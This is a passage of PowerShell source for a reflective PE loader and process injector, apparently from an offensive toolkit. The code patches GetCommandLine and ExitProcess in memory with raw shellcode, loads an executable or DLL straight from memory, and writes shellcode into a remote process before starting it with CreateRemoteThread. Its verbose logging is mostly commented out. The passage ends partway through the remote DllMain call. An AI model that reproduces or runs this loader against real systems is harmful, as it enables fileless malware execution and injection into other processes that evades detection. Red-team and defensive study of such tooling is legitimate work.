           $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
           if ($Success -eq $false)
           {
               Throw "Unable to change memory protection"
           }
       }
   }
   
   #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
   #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
   Function Update-ExeFunctions
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [System.Object]
       $PEInfo,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Functions,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Constants,
       
       [Parameter(Position = 3, Mandatory = $true)]
       [String]
       $ExeArguments,
       
       [Parameter(Position = 4, Mandatory = $true)]
       [IntPtr]
       $ExeDoneBytePtr
       )
       
       #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
       $ReturnArray = @()
       
       $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
       [UInt32]$OldProtectFlag = 0
       
       [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
       if ($Kernel32Handle -eq [IntPtr]::Zero)
       {
           throw "Kernel32 handle null"
       }
       
       [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
       if ($KernelBaseHandle -eq [IntPtr]::Zero)
       {
           # throw "KernelBase handle null"
           $KernelBaseHandle = $Kernel32Handle;
       }

       #################################################
       #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
       #    We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
       $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
       $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
   
       [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
       [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")

       if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
       {
           throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
       }

       #Prepare the shellcode
       [Byte[]]$Shellcode1 = @()
       if ($PtrSize -eq 8)
       {
           $Shellcode1 += 0x48    #64bit shellcode has the 0x48 before the 0xb8
       }
       $Shellcode1 += 0xb8
       
       [Byte[]]$Shellcode2 = @(0xc3)
       $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
       
       
       #Make copy of GetCommandLineA and GetCommandLineW
       $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
       $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
       $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
       $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
       $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
       $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)

       #Overwrite GetCommandLineA
       [UInt32]$OldProtectFlag = 0
       $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
       if ($Success = $false)
       {
           throw "Call to VirtualProtect failed"
       }
       
       $GetCommandLineAAddrTemp = $GetCommandLineAAddr
       Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
       $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
       [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
       $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
       Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
       
       $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
       
       
       #Overwrite GetCommandLineW
       [UInt32]$OldProtectFlag = 0
       $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
       if ($Success = $false)
       {
           throw "Call to VirtualProtect failed"
       }
       
       $GetCommandLineWAddrTemp = $GetCommandLineWAddr
       Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
       $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
       [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
       $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
       Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
       
       $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
       #################################################
       
       
       #################################################
       #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
       #    I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
       #    It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
       #    argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
       $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
           , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
       
       foreach ($Dll in $DllList)
       {
           [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
           if ($DllHandle -ne [IntPtr]::Zero)
           {
               [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
               [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
               if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
               {
                   "Error, couldn't find _wcmdln or _acmdln"
               }
               
               $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
               $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
               
               #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
               $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
               $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
               $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
               $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
               [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
               [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
               $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
               $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
               
               $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
               if ($Success = $false)
               {
                   throw "Call to VirtualProtect failed"
               }
               [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
               $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
               
               $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
               if ($Success = $false)
               {
                   throw "Call to VirtualProtect failed"
               }
               [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
               $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
           }
       }
       #################################################
       
       
       #################################################
       #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.

       $ReturnArray = @()
       $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
       
       #CorExitProcess (compiled in to visual studio c++)
       [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
       if ($MscoreeHandle -eq [IntPtr]::Zero)
       {
           throw "mscoree handle null"
       }
       [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
       if ($CorExitProcessAddr -eq [IntPtr]::Zero)
       {
           Throw "CorExitProcess address not found"
       }
       $ExitFunctions += $CorExitProcessAddr
       
       #ExitProcess (what non-managed programs use)
       [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
       if ($ExitProcessAddr -eq [IntPtr]::Zero)
       {
           Throw "ExitProcess address not found"
       }
       $ExitFunctions += $ExitProcessAddr
       
       [UInt32]$OldProtectFlag = 0
       foreach ($ProcExitFunctionAddr in $ExitFunctions)
       {
           $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
           #The following is the shellcode (Shellcode: ExitThread.asm):
           #32bit shellcode
           [Byte[]]$Shellcode1 = @(0xbb)
           [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
           #64bit shellcode (Shellcode: ExitThread.asm)
           if ($PtrSize -eq 8)
           {
               [Byte[]]$Shellcode1 = @(0x48, 0xbb)
               [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
           }
           [Byte[]]$Shellcode3 = @(0xff, 0xd3)
           $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
           
           [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
           if ($ExitThreadAddr -eq [IntPtr]::Zero)
           {
               Throw "ExitThread address not found"
           }

           $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
           if ($Success -eq $false)
           {
               Throw "Call to VirtualProtect failed"
           }
           
           #Make copy of original ExitProcess bytes
           $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
           $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
           $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
           
           #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
           #    call ExitThread
           Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
           $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
           [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
           $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
           Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
           $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
           [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
           $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
           Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp

           $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
       }
       #################################################

       Write-Output $ReturnArray
   }
   
   
   #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
   #    It copies Count bytes from Source to Destination.
   Function Copy-ArrayOfMemAddresses
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [Array[]]
       $CopyInfo,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Functions,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Constants
       )

       [UInt32]$OldProtectFlag = 0
       foreach ($Info in $CopyInfo)
       {
           $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
           if ($Success -eq $false)
           {
               Throw "Call to VirtualProtect failed"
           }
           
           $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
           
           $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
       }
   }


   #####################################
   ##########    FUNCTIONS ###########
   #####################################
   Function Get-MemoryProcAddress
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [IntPtr]
       $PEHandle,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [String]
       $FunctionName
       )
       
       $Win32Types = Get-Win32Types
       $Win32Constants = Get-Win32Constants
       $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
       
       #Get the export table
       if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
       {
           return [IntPtr]::Zero
       }
       $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
       $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
       
       for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
       {
           #AddressOfNames is an array of pointers to strings of the names of the functions exported
           $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
           $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
           $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)

           if ($Name -ceq $FunctionName)
           {
               #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
               #    which contains the offset of the function in to the DLL
               $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
               $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
               $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
               $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
               return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
           }
       }
       
       return [IntPtr]::Zero
   }


   Function Invoke-MemoryLoadLibrary
   {
       Param(
       
       [Parameter(Position = 0, Mandatory = $false)]
       [String]
       $ExeArgs,
       
       [Parameter(Position = 1, Mandatory = $false)]
       [IntPtr]
       $RemoteProcHandle,

       [Parameter(Position = 2)]
       [Bool]
       $ForceASLR = $false
       )
       
       $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
       
       #Get Win32 constants and functions
       $Win32Constants = Get-Win32Constants
       $Win32Functions = Get-Win32Functions
       $Win32Types = Get-Win32Types
       
       $RemoteLoading = $false
       if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
       {
           $RemoteLoading = $true
       }
       
       #Get basic PE information
       #Write-Verbose "Getting basic PE information from the file"
       $PEInfo = Get-PEBasicInfo -Win32Types $Win32Types
       $OriginalImageBase = $PEInfo.OriginalImageBase
       $NXCompatible = $true
       if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
       {
           ##Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
           $NXCompatible = $false
       }
       
       
       #Verify that the PE and the current process are the same bits (32bit or 64bit)
       $Process64Bit = $true
       if ($RemoteLoading -eq $true)
       {
           $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
           $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
           if ($Result -eq [IntPtr]::Zero)
           {
               Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
           }
           
           [Bool]$Wow64Process = $false
           $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
           if ($Success -eq $false)
           {
               Throw "Call to IsWow64Process failed"
           }
           
           if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
           {
               $Process64Bit = $false
           }
           
           #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
           $PowerShell64Bit = $true
           if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
           {
               $PowerShell64Bit = $false
           }
           if ($PowerShell64Bit -ne $Process64Bit)
           {
               throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
           }
       }
       else
       {
           if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
           {
               $Process64Bit = $false
           }
       }
       if ($Process64Bit -ne $PEInfo.PE64Bit)
       {
           Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
       }
       

       #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
       #Write-Verbose "Allocating memory for the PE and write its headers to memory"
       
       #ASLR check
       [IntPtr]$LoadAddr = [IntPtr]::Zero
       $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
       if ((-not $ForceASLR) -and (-not $PESupportsASLR))
       {
           #Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
           [IntPtr]$LoadAddr = $OriginalImageBase
       }
       elseif ($ForceASLR -and (-not $PESupportsASLR))
       {
           #Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
       }

       if ($ForceASLR -and $RemoteLoading)
       {
           #Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
       }
       if ($RemoteLoading -and (-not $PESupportsASLR))
       {
           #Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
       }
       
       $PEHandle = [IntPtr]::Zero                #This is where the PE is allocated in PowerShell
       $EffectivePEHandle = [IntPtr]::Zero        #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
       if ($RemoteLoading -eq $true)
       {
           #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
           $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
           
           #todo, error handling needs to delete this memory if an error happens along the way
           $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
           if ($EffectivePEHandle -eq [IntPtr]::Zero)
           {
               Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
           }
       }
       else
       {
           if ($NXCompatible -eq $true)
           {
               $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
           }
           else
           {
               $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
           }
           $EffectivePEHandle = $PEHandle
       }
       
       [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
       if ($PEHandle -eq [IntPtr]::Zero)
       {
           Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
       }        
       [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
       
       
       #Now that the PE is in memory, get more detailed information about it
       #Write-Verbose "Getting detailed PE information from the headers loaded in memory"
       $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
       $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
       $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
       #Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"
       
       
       #Copy each section from the PE in to memory
       #Write-Verbose "Copy PE sections in to memory"
       Copy-Sections -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
       
       
       #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
       #Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
       Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types

       
       #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
       #Write-Verbose "Import DLL's needed by the PE we are loading"
       if ($RemoteLoading -eq $true)
       {
           Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
       }
       else
       {
           Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
       }
       
       
       #Update the memory protection flags for all the memory just allocated
       if ($RemoteLoading -eq $false)
       {
           if ($NXCompatible -eq $true)
           {
               #Write-Verbose "Update memory protection flags"
               Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
           }
           else
           {
               #Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
           }
       }
       else
       {
           #Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
       }
       
       
       #If remote loading, copy the DLL in to remote process memory
       if ($RemoteLoading -eq $true)
       {
           [UInt32]$NumBytesWritten = 0
           $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
           if ($Success -eq $false)
           {
               Throw "Unable to write shellcode to remote process memory."
           }
       }
       
       
       #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
       if ($PEInfo.FileType -ieq "DLL")
       {
           if ($RemoteLoading -eq $false)
           {
               #Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
               $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
               $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
               $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
               
               $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
           }
           else
           {
               $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
           
               if ($PEInfo.PE64Bit -eq $true)
               {
                   #Shellcode: CallDllMain.asm
                   $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
                   $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
                   $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
               }
               else
               {
                   #Shellcode: CallDllMain.asm
                   $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
                   $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
                   $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
               }
               $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
               $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
               $SCPSMemOriginal = $SCPSMem
               
               Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
               $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
               [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
               $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
               Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
               $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
               [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
               $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
               Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
               $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
               
               $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
               if ($RSCAddr -eq [IntPtr]::Zero)
               {
                   Throw "Unable to allocate memory in the remote process for shellcode"
               }
               
               $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
               if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
               {
                   Throw "Unable to write shellcode to remote process memory."
               }

               $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
               $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
               if ($Result -ne 0)
               {
                   Throw "Call to CreateRemoteThread to call GetProcAddress failed."
               }
               
